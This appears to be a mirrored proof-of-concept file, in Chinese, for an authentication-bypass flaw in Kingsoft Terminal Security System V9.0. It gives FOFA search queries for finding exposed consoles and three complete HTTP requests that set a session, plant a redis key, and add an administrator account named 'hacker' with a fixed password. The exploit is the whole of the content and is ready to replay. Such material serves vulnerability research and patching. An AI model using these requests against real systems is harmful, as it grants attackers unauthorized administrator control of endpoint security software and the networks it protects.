mirror of
https://github.com/adysec/POC.git
synced 2025-11-07 03:13:59 +00:00
78 lines
3.1 KiB
Markdown
78 lines
3.1 KiB
Markdown
# 金山终端安全系统V9.0任意用户添加漏洞
|
||
|
||
## fofa
|
||
|
||
```javascript
|
||
title=="用户登录-猎鹰终端安全系统V9.0Web控制台"
|
||
app="金山终端安全系统V9.0Web控制台"
|
||
```
|
||
|
||
## poc
|
||
|
||
首先访问 checklogin.php，设置$_SESSION[‘userName’]。(后续的 Cookie 保持不变)
|
||
|
||
```javascript
|
||
POST /inter/ajax.php?imd=checklogin HTTP/1.1
|
||
Host: 192.168.20.131:6868
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
|
||
Accept: */*
|
||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate
|
||
X-Requested-With: XMLHttpRequest
|
||
Origin: http://192.168.20.131:6868
|
||
Connection: close
|
||
Referer: http://192.168.20.131:6868/
|
||
Cookie: SKYLARa0aede9e785feabae789c6e03d=v70c2hbb4fnf1mqa1l9f44a964
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 20
|
||
|
||
uname=login_session_
|
||
```
|
||
|
||
|
||
|
||
接下来访问 send_verify2email.php 在 redis 中添加一个键值对:（mailTo 符合邮箱格式即可）
|
||
|
||
```javascript
|
||
POST /inter/ajax.php?imd=send_verify2email HTTP/1.1
|
||
Host: 192.168.20.131:6868
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
|
||
Accept: */*
|
||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate
|
||
X-Requested-With: XMLHttpRequest
|
||
Origin: http://192.168.20.131:6868
|
||
Connection: close
|
||
Referer: http://192.168.20.131:6868/
|
||
Cookie: SKYLARa0aede9e785feabae789c6e03d=v70c2hbb4fnf1mqa1l9f44a964
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 33
|
||
|
||
mailTo=login_session_@qq.comEmail
|
||
```
|
||
|
||
|
||
|
||
面两个步骤访问完成之后，即可未授权访问系统的所有功能，接下来通过权限校验，添加一个系统管理员，访问 get_user_login_cmd 文件即可。(userSession 需要设置成 Email，密码为 1qaz@WSX)
|
||
|
||
```javascript
|
||
POST /inter/ajax.php?cmd=get_user_login_cmd HTTP/1.1
|
||
Host: 192.168.20.131:6868
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
|
||
Accept: */*
|
||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate
|
||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest
|
||
Content-Length: 285
|
||
Origin: http://192.168.20.131:6868
|
||
Connection: close
|
||
Referer: http://192.168.20.131:6868/
|
||
Cookie: SKYLARa0aede9e785feabae789c6e03d=v70c2hbb4fnf1mqa1l9f44a964
|
||
|
||
{"add_user_info_cmd":{"userSession":"Email","mode_id":"B666A8CD-2247-2CA8-4F7D-29EB058A27C2","real_name":"","user_name":"hacker","type":"分级管理员","tel":"","mobile":"","corp":"","notice":"","psw":"92d7ddd2a010c59511dc2905b7e14f64","email":"","VHierarchyName":"","orgtype":"1"}}
|
||
```
|
||
|
||
|
||
|
||
|
||
|
||
## 漏洞来源
|
||
|
||
- https://xz.aliyun.com/t/16105 |